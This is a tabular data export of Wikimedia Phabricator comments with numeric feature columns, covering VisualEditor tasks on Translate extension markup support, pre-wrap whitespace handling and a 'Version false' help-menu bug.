Not forgotten. What has been done so far was a necessary first step and only provides a basic support. The Language team is exploring options how to continue working towards full support. This doesn't mean adding a button or two; we want to take a deeper look to figure out what would actually be a good user experience. ",,,1658930211,,PHID-USER-732lqsmz4v6bss3kln2v,True,,,PHID-TASK-oxphbzmhqbxzbsixhfq4,task_subcomment,,True,c1,3,True,,,473,,0.0,0.0,0.0,1.0,3.0,9.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,10.0,7.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,7.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,15.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,3.0,0.0,0.0,1.0,0.0,0.0,9.0,6.0,10.0,1.0,3.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,1.0,7.0,1.0,0.0,0.0,0.0,1.0,0.0,4.0,7.0,0.0,4.0,1.0,0.0,0.0,4.0588235294117645,0.8382352941176471,"QUOTE
QUOTE

Not forgotten. What has been done so far was a necessary first step and only provides a basic support. The Language team is exploring options how to continue working towards full support. This doesn't mean adding a button or two; we want to take a deeper look to figure out what would actually be a good user experience. "
1953215,Create a VisualEditor plugin tool to add/edit translations and translation variables (Translate extension),"I suppose this one, if we can call this a specification at all. I have the feeling that it was simply forgotten that translation syntax needs to be created, not only maintained…",,,1658336620,,PHID-USER-ocqnoktaualicuvge2tu,True,,,PHID-TASK-oxphbzmhqbxzbsixhfq4,task_subcomment,,True,c1,3,False,,,472,,3.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,8.0,0.0,14.0,14.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,8.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,6.0,8.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,8.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,11.0,14.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.055555555555555,0.8888888888888888,"I suppose this one, if we can call this a specification at all. I have the feeling that it was simply forgotten that translation syntax needs to be created, not only maintained…"
1951966,Create a VisualEditor plugin tool to add/edit translations and translation variables (Translate extension),">>! In T55974#8086214, @Tacsipacsi wrote:
> No, there’s another “minor” caveat the blog post doesn’t mention: you can’t add new markup. The content can be edited, they can be deleted, even copied and pasted, but if there’s no `<translate>` or `<tvar>` tag on the page you edit, there’s no way to create them.

Thanks for this info. Which task/subtask of this task cluster specifies the work (add new markup) that's still to be done?",,,1658220589,,PHID-USER-lbrksgjks7nerhn7d2xm,True,,,PHID-TASK-oxphbzmhqbxzbsixhfq4,task_subcomment,,True,c1,3,False,,,472,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,9.0,3.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.59375,0.90625,"QUOTE
QUOTE

Thanks for this info. Which task/subtask of this task cluster specifies the work (add new markup) that's still to be done?"
1951823,Create a VisualEditor plugin tool to add/edit translations and translation variables (Translate extension),"No, there’s another “minor” caveat the blog post doesn’t mention: you can’t add new markup. The content can be edited, they can be deleted, even copied and pasted, but if there’s no `<translate>` or `<tvar>` tag on the page you edit, there’s no way to create them.",,,1658180714,,PHID-USER-ocqnoktaualicuvge2tu,True,,,PHID-TASK-oxphbzmhqbxzbsixhfq4,task_subcomment,,True,c1,3,False,,,472,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,8.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,6.0,2.0,5.0,10.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,6.0,5.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.306451612903226,0.7419354838709677,"No, there’s another “minor” caveat the blog post doesn’t mention: you can’t add new markup. The content can be edited, they can be deleted, even copied and pasted, but if there’s no CODE or CODE tag on the page you edit, there’s no way to create them."
1951751,Create a VisualEditor plugin tool to add/edit translations and translation variables (Translate extension),Is this task resolved by https://diff.wikimedia.org/2022/05/12/mediawiki-1-38-brings-support-for-editing-translatable-pages-with-the-visual-editor/ ?,,,1658172925,,PHID-USER-bz37wupbujiswpiqntmt,True,,,PHID-TASK-oxphbzmhqbxzbsixhfq4,task_subcomment,,True,c1,3,False,,,472,,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,29.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4285714285714284,1.0,Is this task resolved by URL ?
1123974,Create a VisualEditor plugin tool to add/edit translations and translation variables (Translate extension),"I added this issue to MediaWiki Stakeholders' Group/TechConf Input:

https://www.mediawiki.org/wiki/MediaWiki_Stakeholders%27_Group/TechConf_Input#Improved_Translate_-_VisualEditor_integration

Please add your endorsement if you like to make this issue more visible.",,,1534491626,,PHID-USER-yftvcvsb36qrmx4iohsm,True,,,PHID-TASK-oxphbzmhqbxzbsixhfq4,task_subcomment,,True,c1,3,False,,,267,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,10.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,10.0,10.0,17.0,0.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,4.2,0.8666666666666667,"I added this issue to MediaWiki Stakeholders' Group/TechConf Input:

URL

Please add your endorsement if you like to make this issue more visible."
1123972,Create a VisualEditor plugin tool to add/edit translations and translation variables (Translate extension),"I added this issue to MediaWiki Stakeholders' Group/TechConf Input:

https://www.mediawiki.org/wiki/MediaWiki_Stakeholders%27_Group/TechConf_Input#Improved_Translate_-_VisualEditor_integration

Please add your endorsement if you like make this issue more visible.",,,1534491589,,PHID-USER-yftvcvsb36qrmx4iohsm,True,,,PHID-TASK-oxphbzmhqbxzbsixhfq4,task_subcomment,,True,c1,3,False,,,267,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,10.0,7.0,17.0,0.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,4.275862068965517,0.896551724137931,"I added this issue to MediaWiki Stakeholders' Group/TechConf Input:

URL

Please add your endorsement if you like make this issue more visible."
622418,Create a VisualEditor plugin tool to add/edit translations and translation variables (Translate extension),"Also, I don't think I could do this in two weeks, which suggests this is too big for GSoC.",,,1457021325,,PHID-USER-732lqsmz4v6bss3kln2v,True,,,PHID-TASK-oxphbzmhqbxzbsixhfq4,task_subcomment,,True,c1,3,True,,,139,,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,9.0,0.0,14.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,18.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.272727272727273,0.8181818181818182,"Also, I don't think I could do this in two weeks, which suggests this is too big for GSoC."
622415,Create a VisualEditor plugin tool to add/edit translations and translation variables (Translate extension),">>! In T55974#2084495, @Micru wrote:
> I see that the stalled bug has been marked as resolved, Could this task become a GsoC project?

Eventually, yes; however this was missing a few dependencies, T49344 chief amongst them. That work might not be done for another year or more.",,,1457021192,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-oxphbzmhqbxzbsixhfq4,task_subcomment,,True,c1,3,True,,,139,,3.0,0.0,0.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,15.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,3.0,3.0,0.0,0.0,4.0,0.9090909090909091,"QUOTE
QUOTE

Eventually, yes; however this was missing a few dependencies, T49344 chief amongst them. That work might not be done for another year or more."
1265057,Create a VisualEditor plugin tool to add/edit translations and translation variables (Translate extension),,,,1555396632,,PHID-USER-my5s6nat437le6q5fq7d,True,,,PHID-TASK-oxphbzmhqbxzbsixhfq4,task_subcomment,,True,c1,3,False,,,302,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
622411,Create a VisualEditor plugin tool to add/edit translations and translation variables (Translate extension),,,,1457021044,,PHID-USER-my5s6nat437le6q5fq7d,True,,,PHID-TASK-oxphbzmhqbxzbsixhfq4,task_subcomment,,True,c1,3,False,,,139,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
415410,Create a VisualEditor plugin tool to add/edit translations and translation variables (Translate extension),">>! In T55974#1042621, @Qgil wrote:
> If there is no interest / critical mentoring mass to promote this project for GSoC / Outreachy, then maybe the current ""Normal"" priority should be lower?

It's not a matter of priority, see blockers: this is blocked on a stalled bug.",,,1424596006,,PHID-USER-v7bwpq3rs3zdxegibdbh,True,,,PHID-TASK-oxphbzmhqbxzbsixhfq4,task_subcomment,,True,c1,3,True,,,85,,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,22.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,13.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.347826086956522,0.9130434782608695,"QUOTE
QUOTE

It's not a matter of priority, see blockers: this is blocked on a stalled bug."
412458,Create a VisualEditor plugin tool to add/edit translations and translation variables (Translate extension),"If there is no interest / critical mentoring mass to promote this project for GSoC / Outreachy, then maybe the current ""Normal"" priority should be lower?",,,1424130694,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-oxphbzmhqbxzbsixhfq4,task_subcomment,,True,c1,3,False,,,85,,0.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,10.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,13.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,10.0,7.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,4.266666666666667,0.9333333333333333,"If there is no interest / critical mentoring mass to promote this project for GSoC / Outreachy, then maybe the current ""Normal"" priority should be lower?"
409851,Create a VisualEditor plugin tool to add/edit translations and translation variables (Translate extension),"Wikimedia will [[ https://phabricator.wikimedia.org/T921 | apply to Google Summer of Code and Outreachy ]] on Tuesday, February 17. If you want this task to become a featured project idea, please follow [[ https://phabricator.wikimedia.org/project/view/1042/ | these instructions ]]. ",,,1423662273,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-oxphbzmhqbxzbsixhfq4,task_subcomment,,True,c1,3,False,,,84,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,22.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,4.0,2.0,2.0,0.0,2.0,11.0,16.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,3.6222222222222222,0.7555555555555555,"Wikimedia will [[ URL | apply to Google Summer of Code and Outreachy ]] on Tuesday, February 17. If you want this task to become a featured project idea, please follow [[ URL | these instructions ]]. "
402910,Create a VisualEditor plugin tool to add/edit translations and translation variables (Translate extension),"Is it true that parsoid has limitations parsing tags other than ""normal parser tags"". If yes what are they & why ? I want to make a plugin for VE to embed translate extension as mentioned above. Cant i include my own grammar for parser to do stuffs way i want.?",,,1422107606,,PHID-USER-cqpeh4jvvexbszsxogrw,True,,,PHID-TASK-oxphbzmhqbxzbsixhfq4,task_subcomment,,True,c1,3,False,,,81,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,7.0,0.0,5.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,9.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,9.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,10.0,16.0,2.0,3.0,3.0,0.0,10.0,0.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,3.6379310344827585,0.8103448275862069,"Is it true that parsoid has limitations parsing tags other than ""normal parser tags"". If yes what are they & why ? I want to make a plugin for VE to embed translate extension as mentioned above. Cant i include my own grammar for parser to do stuffs way i want.?"
250435,Create a VisualEditor plugin tool to add/edit translations and translation variables (Translate extension),"Pankaj: This bug depends on fixing bug 48891 first (see the ""Depends on"" field). If something is unclear with comment 0, please explain what is unclear and why. Also see [[mw:Annoying little bugs]].",,,1394440778,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-oxphbzmhqbxzbsixhfq4,task_subcomment,,True,c1,3,True,,,36,,0.0,2.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,4.0,12.0,4.0,2.0,4.0,0.0,0.0,0.0,0.0,6.0,2.0,4.0,0.0,0.0,8.0,2.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,6.0,3.4583333333333335,0.7708333333333334,"Pankaj: This bug depends on fixing bug 48891 first (see the ""Depends on"" field). If something is unclear with comment 0, please explain what is unclear and why. Also see [[mw:Annoying little bugs]]."
250429,Create a VisualEditor plugin tool to add/edit translations and translation variables (Translate extension),"**pankaj10it45** wrote:

Hello,I want to work on this bug.Can you tell me what exactly it is?
Thank you.",,,1394405522,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-oxphbzmhqbxzbsixhfq4,task_subcomment,,True,c1,3,False,,,35,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,0.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,16.0,6.0,0.0,3.0,0.0,0.0,16.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,2.870967741935484,0.8387096774193549,"**pankaj10it45** wrote:

Hello,I want to work on this bug.Can you tell me what exactly it is?
Thank you."
55931,VisualEditor: Move to using white-space: pre-wrap instead of using nbsp's to fake spaces,,Medium,50.0,1378691520,1448930058.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-sc56jdm4lxt6le2zxeuz,task_description,resolved,True,c1,3,False,False,False,10,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
570418,VisualEditor: Move to using white-space: pre-wrap instead of using nbsp's to fake spaces,"Change 255931 merged by jenkins-bot:
Use white-space: pre-wrap instead of using &nbsp; for spaces

[[https://gerrit.wikimedia.org/r/255931]]",,,1448930482,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sc56jdm4lxt6le2zxeuz,task_subcomment,,True,c1,3,False,,,126,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,3.2580645161290325,0.8387096774193549,"Change 255931 merged by jenkins-bot:
Use white-space: pre-wrap instead of using &nbsp; for spaces

[[GERRIT_URL]]"
569705,VisualEditor: Move to using white-space: pre-wrap instead of using nbsp's to fake spaces,"Change 255931 had a related patch set uploaded (by Bartosz Dziewoński):
Use white-space: pre-wrap instead of using &nbsp; for spaces

[[https://gerrit.wikimedia.org/r/255931]]
",,,1448813669,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sc56jdm4lxt6le2zxeuz,task_subcomment,,True,c1,3,False,,,125,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,8.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,8.0,3.5405405405405403,0.8918918918918919,"Change 255931 had a related patch set uploaded (by Bartosz Dziewoński):
Use white-space: pre-wrap instead of using &nbsp; for spaces

[[GERRIT_URL]]
"
429320,VisualEditor: Move to using white-space: pre-wrap instead of using nbsp's to fake spaces,"Still valid:
```
./src/ce/nodes/ve.ce.TextNode.js:		// Replace spaces with &nbsp; where needed
```",,,1426789095,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-sc56jdm4lxt6le2zxeuz,task_subcomment,,True,c1,3,True,,,89,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.2222222222222223,0.6666666666666666,"Still valid:
``CODE``"
247932,VisualEditor: Move to using white-space: pre-wrap instead of using nbsp's to fake spaces,"From an email conversation I had with Aryeh in January 2012:

(Since I'm thinking about canonicalization of whitespace, a tip: set
white-space: pre-wrap on any contenteditable regions you use, and
wherever you use them.  This will stop you from needing to use nbsp's
in ways they were never intended to be used, which causes a variety of
subtle bugs.  See
<http://dvcs.w3.org/hg/editing/raw-file/tip/editing.html#canonical-space-sequences>
for a basic explanation, and click the first ""View Comments"" at
<http://dvcs.w3.org/hg/editing/raw-file/tip/editing.html#the-inserttext-command>
for a more detailed explanation of how nbsp substitution works in
practice.)",,,1378691662,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-sc56jdm4lxt6le2zxeuz,task_subcomment,,True,c1,3,False,,,10,,0.5,0.0,0.0,1.5,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.5,0.0,0.0,0.0,1.0,0.0,3.0,11.5,0.0,1.5,0.0,0.5,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,3.0,1.5,0.0,1.0,1.5,0.0,1.0,0.0,1.0,0.0,1.5,0.0,3.5,0.0,0.0,0.0,0.0,0.0,8.5,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.5,1.5,7.5,2.0,1.5,6.0,0.0,0.0,0.0,0.0,4.5,0.0,0.5,0.0,4.0,11.5,3.5,0.0,1.5,0.0,4.0,0.0,2.0,3.5,0.5,1.0,1.0,0.0,1.5,3.628954802259887,0.7725988700564972,"From an email conversation I had with Aryeh in January 2012:

(Since I'm thinking about canonicalization of whitespace, a tip: set
white-space: pre-wrap on any contenteditable regions you use, and
wherever you use them.  This will stop you from needing to use nbsp's
in ways they were never intended to be used, which causes a variety of
subtle bugs.  See
<URL
for a basic explanation, and click the first ""View Comments"" at
<URL
for a more detailed explanation of how nbsp substitution works in
practice.)"
55917,"VisualEditor: Hide ""version false"" in the help menu if it can't be shown","== Steps ==
1) Go to
https://www.mediawiki.org/wiki/BUG?veaction=edit&uselang=en
2) Click on ""BETA""

== Actual result ==
There is the text ""Version false"" generated by the HTML:

<div>
 <span class=""ve-init-mw-ViewPageTarget-version-label"">Version</span> 
 <a class=""ve-init-mw-ViewPageTarget-version-link""
    target=""_blank""
    href=""false"">false</a> 
 <span class=""ve-init-mw-ViewPageTarget-version-date""></span>
</div>

== Expected result ==
There should be some version number instead of the ""false"" text

--------------------------
**Version**: unspecified
